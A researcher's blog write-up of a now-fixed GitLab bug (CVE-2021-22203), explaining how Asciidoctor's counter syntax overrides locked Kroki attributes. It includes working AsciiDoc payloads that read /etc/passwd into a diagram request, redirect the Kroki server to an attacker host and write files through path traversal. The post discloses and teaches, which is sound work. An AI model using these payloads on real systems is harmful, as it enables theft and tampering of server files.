GitLab Arbitrary File Read & Write through Kroki - CVE-2021-22203
I have always been interesting at how different markup parsers works. For github-markup particularly, there are various forms of formats and markup languages...
I have always been interesting at how different markup parsers works. For github-markup
particularly, there are various forms of formats and markup languages that the gem supported:
They are listed in the following part of github-markup
gem
MARKUP_ASCIIDOC = :asciidoc
MARKUP_CREOLE = :creole
MARKUP_MARKDOWN = :markdown
MARKUP_MEDIAWIKI = :mediawiki
MARKUP_ORG = :org
MARKUP_POD = :pod
MARKUP_RDOC = :rdoc
MARKUP_RST = :rst
MARKUP_TEXTILE = :textile
MARKUP_POD6 = :pod6
Most of them are exceptionally well audited in term of security even though some of the source code were written a very long time ago.
Some of them have very useful functionalities such as include files, making HTTP requests to download contents, etc. in which I am very curious about.
For example, restructeredText
has an attribute called file
or url
on some of the directives such as csv-table
, raw
or include
.
I guess you already know from the document that those attributes are blocked if file_insertion_enabled
settings is set to false
, and this is the case for the github-markup
SETTINGS = {
'cloak_email_addresses': False,
'file_insertion_enabled': False,
'raw_enabled': True,
'strip_comments': True,
'doctitle_xform': True,
'initial_header_level': 2,
'report_level': 5,
'syntax_highlight': 'none',
'math_output': 'latex',
'field_name_limit': 50,
}
Same thing happens with asciidoctor
, if the security-mode is set to SECURE
and allow-uri-read
attributes is set to false
, all the file reads functions are simple not possible.
def image_uri(target_image, asset_dir_key = 'imagesdir')
if (doc = @document).safe < SafeMode::SECURE && (doc.attr? 'data-uri')
if ((Helpers.uriish? target_image) && (target_image = Helpers.encode_spaces_in_uri target_image)) ||
(asset_dir_key && (images_base = doc.attr asset_dir_key) && (Helpers.uriish? images_base) &&
(target_image = normalize_web_path target_image, images_base, false))
(doc.attr? 'allow-uri-read') ? (generate_data_uri_from_uri target_image, (doc.attr? 'cache-uri')) : target_image
else
generate_data_uri target_image, asset_dir_key
end
else
normalize_web_path target_image, (asset_dir_key ? (doc.attr asset_dir_key) : nil)
end
end
generate_data_uri
makes call to File.binread
which is reading file at the path specified in the target_image
parameter.
::File.binread image_path
I was going to pick either restructeredText
or asciidoctor
and decided to choose the later to do further researching on how I could bypass these constraints to eventually find a security bug.
The first thing which I instinctively did was to find a way to set the attribute allow-uri-read
to true
before thinking about setting the doc.safe
to other value than SECURE
.
Asciidoctor allows markup files to set arbitrary attributes for documents
For example, :test: haah
will set doc.attr["test"]
to haah
However, if the attribute is predefined with a value when initializing Asciidoctor
, that attribute is locked and will prevent the document from changing the attribute value, this is expressed in the following function
def attribute_locked?(name)
@attribute_overrides.key?(name)
end
You may wonder what is @attribute_overrides
, it contains all the pairs of key and value set during the initialization of Asciidcotor
along with some pre-defined paris such as docdir
, outfile
, etc, allow-uri-read
is always in here but it has a default value of nil
# the only way to set the allow-uri-read attribute is via the API; disabled by default
attr_overrides['allow-uri-read'] ||= nil
This is what GitLab did for the initalization of Asciidoctor
.
DEFAULT_ADOC_ATTRS = {
'showtitle' => true,
'sectanchors' => true,
'idprefix' => 'user-content-',
'idseparator' => '-',
'env' => 'gitlab',
'env-gitlab' => '',
'source-highlighter' => 'gitlab-html-pipeline',
'icons' => 'font',
'outfilesuffix' => '.adoc',
'max-include-depth' => MAX_INCLUDE_DEPTH,
# This feature is disabled because it relies on File#read to read the file.
# If we want to enable this feature we will need to provide a "GitLab compatible" implementation.
# This attribute is typically used to share common config (skinparam...) across all PlantUML diagrams.
# The value can be a path or a URL.
'kroki-plantuml-include!' => '',
# This feature is disabled because it relies on the local file system to save diagrams retrieved from the Kroki server.
'kroki-fetch-diagram!' => ''
}.freeze
...
asciidoc_opts = { safe: :secure,
backend: :gitlab_html5,
attributes: DEFAULT_ADOC_ATTRS
....
html = ::Asciidoctor.convert(input, asciidoc_opts)
Unless someone at GitLab decided that they are going to add allow-uri-read
to the list of attributes defined in asciidoc_opts
. I wouldn’t have a chance at going further :P. However, counter
function gives me a glimpse look of how I could possibly change the @attributes
without having to go thru attribute_locked?
def counter name, seed = nil
return @parent_document.counter name, seed if @parent_document
if (attr_seed = !(attr_val = @attributes[name]).nil_or_empty?) && (@counters.key? name)
@attributes[name] = @counters[name] = Helpers.nextval attr_val
elsif seed
@attributes[name] = @counters[name] = seed == seed.to_i.to_s ? seed.to_i : seed
else
@attributes[name] = @counters[name] = Helpers.nextval attr_seed ? attr_val : 0
end
end
If the counter
with name
hasn’t been set and name
is not in the document attributes, then it will be set with the value of seed
. @attributes[name]
is set directly to seed
without having to go thru attribute_locked?
. Thus allowing the changing or create any attribute with arbitrary value.
Passing across the document for the usage of counter
and found out I just need to do this in asciidcotor document {counter:allow-uri-read:true}
and @attributes['allow-uri-read']
will be set to true
in my document.
attributes = {
'showtitle' => '@',
'idprefix' => '',
'idseparator' => '-',
'sectanchors' => nil,
'env' => 'github',
'env-github' => '',
'source-highlighter' => 'html-pipeline'
}
content = <<test
[#goals]
{counter:allow-uri-read:true}
test
Asciidoctor.convert(content, :safe => :secure, :attributes => attributes)
Set a break point to the counter
function furthermore confirmed the bug.
So, I have found a way to set allow-uri-read
. I thought I could maybe change attributes like safe-mode-level
, safe-mode
to change the @safe
to another value other than the predefined SECURE
but unfortunately, there simply no way to change this variable @safe
except setting it in the initialization. I decided to not dig further because there is simply no point for me to do that.
Reading the initialization of GitLab Asciidoctor, I’ve found a very intruging comments
# The value can be a path or a URL.
'kroki-plantuml-include!' => '',
# This feature is disabled because it relies on the local file system to save diagrams retrieved from the Kroki server.
'kroki-fetch-diagram!' => ''
Basically, GitLab is preventing us from ever changing or setting these attributes in our document.
Hmm, I enabled GitLab Kroki to conduct further research. Navigating to the asciidoctor-kroki
gem quickly gave me an impression of how these attributes could do.
kroki-plantuml-include
Calling File.read
directly with file path as value from File.read(doc.attr('kroki-plantuml-include')
def prepend_plantuml_config(diagram_text, diagram_type, doc)
if diagram_type == :plantuml && doc.attr?('kroki-plantuml-include')
# TODO: this behaves different than the JS version
# The file should be added by !include #{plantuml_include}" once we have a preprocessor for ruby
config = File.read(doc.attr('kroki-plantuml-include'))
diagram_text = config + '\n' + diagram_text
end
diagram_text
end
So by being able to set arbitrary value for kroki-plantuml-include
attribute, I am able to read any file that the process running have permission to read.
Because the File.read
happens in the source code of this ruby gem in GitLab, the file that is being fetched is from the GitLab box itself not the Kroki server.
The following payload will fetch /etc/passwd
and append it as Base64 + compressed data in the path of the URL sending to Kroki server
[#goals]
[plantuml, test="{counter:kroki-plantuml-include:/etc/passwd}", format="png"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- {counter:kroki-plantuml-include}
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
...
Base64 Decoding + Decompressing will give us the content of /etc/passwd
File write by attribute kroki-fetch-diagram
Setting kroki-fetch-diagram
to any value will allow the asciidoctor-kroki
gem to save the diagram to your local disk.
def create_image_src(doc, kroki_diagram, kroki_client)
if doc.attr('kroki-fetch-diagram')
kroki_diagram.save(output_dir_path(doc), kroki_client)
else
kroki_diagram.get_diagram_uri(server_url(doc))
end
end
This makes call to the following function
def save(output_dir_path, kroki_client)
diagram_url = get_diagram_uri(kroki_client.server_url)
diagram_name = "diag-#{Digest::SHA256.hexdigest diagram_url}.#{@format}"
file_path = File.join(output_dir_path, diagram_name)
encoding = if @format == 'txt' || @format == 'atxt' || @format == 'utxt'
'utf8'
elsif @format == 'svg'
'binary'
else
'binary'
end
# file is either (already) on the file system or we should read it from Kroki
contents = File.exist?(file_path) ? File.open(file_path, &:read) : kroki_client.get_image(self, encoding)
FileUtils.mkdir_p(output_dir_path)
if encoding == 'binary'
File.binwrite(file_path, contents)
else
File.write(file_path, contents)
end
diagram_name
end
Basically, File.binwrite
and File.write
is called with file_path
parameter. the value for this parameter is affected by the following:
#{Digest::SHA256.hexdigest diagram_url}
@format
–> I could change thisBecause of our ability to influence the value of file_path
, we could make the gem saving the file to arbitrary locaiton.
The hosting of the file’s content could be done by simply pointing GitLab Kroki to another server other than the one set by a Gitlab Admin. This could be done by changing the fllowing attributes:
# Define the Kroki server URL from the settings.
# This attribute cannot be overridden from the AsciiDoc document.
'kroki-server-url' => Gitlab::CurrentSettings.kroki_url
# I COULD CHANGE THIS BY USING COUNTER :P
the following counter
payload will change the kroki-server-url
to a malicious one
{counter:kroki-server-url:http://malicious.net/}
Host an webserver to always serving for a file regardless of HTTP Methods, URLs, etc. then we are able to make asciidoctor-kroki
write to abitrary location.
First we need to construct the #{Digest::SHA256.hexdigest diagram_url}
. Why? Because of how weird ruby File
works,
non-existing-dir/../../../../../../../etc/passwd
-> will always throw an exception if there exists in the file path a non-existing file or directory
We need that non-existing-dir
to exists which is diag-#{Digest::SHA256.hexdigest diagram_url}
in our case.
So what we need to do:
Get the location of the file that we are going to write to. For example, /tmp/test_file_write.txt
Construct the URL with the data of the diagram
This step is a bit complicated, we need the Base64 Compressed data of the diagram, so for example if you submit the following diagram
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
The Base64 Compressed data will be
eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSWhuTkQMS5UcxRsanR1FTJSM1K5kM2CCCMZhSmJYiwAy8U5sQ==
We need this to correct construct the correct URL for the specified diagram in our payload in order for creating a correct directory to avoid exception from File.write
Then construct the URL with following format:
http://kroki-host
/../../../../../../../../file-location
/base64-compressed-data
For example:
http://192.168.69.1:8082/plantuml/../../../../../../tmp/test_file_write.txt/eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSWhuTkQMS5UcxRsanR1FTJSM1K5kM2CCCMZhSmJYiwAy8U5sQ==
I used the following snippet to generate SHA-256 of the URL:
p "diag-#{Digest::SHA256.hexdigest test = string}"
imagesdir
to diag-<SHA256 value>.
to create a directory of the file.Example:
[#goals]
:imagesdir: diag-58f90331904a1989259d639c5677e0fff5e434e739c70f1d3bb2004723bc99b8.
:outdir: /tmp/
[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://192.168.69.1:8082/}", format="/../../../../../../tmp/test_file_write.txt"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
imagesdir
set to .
to to allow File.write
to not throw an exception.[#goals]
:imagesdir: .
:outdir: /tmp/
[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://192.168.69.1:8082/}", format="/../../../../../../tmp/test_file_write.txt"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
The PoC video could be found in my H1 report: https://hackerone.com/reports/1098793
To wrap things up, I have one general thing to give to all the geeks like me:
Both, asciidoctor
and asciidoctor-kroki
are updated, now you can neither change the @attributes
nor @format
for asciidoctor-kroki
. I think this is suffcient enough for fixing the vulnerability.
I earned $5600 for this bug. I recommend you read the report along side with this blog post, you could check it here: https://hackerone.com/reports/1098793. Thank you to all the GitLab Security guys and @vakzz for raising my interest in looking at the markup implementation.
I have always been interesting at how different markup parsers works. For github-markup particularly, there are various forms of formats and markup languages...
Just a quick introduction for all the things will be written in this blog.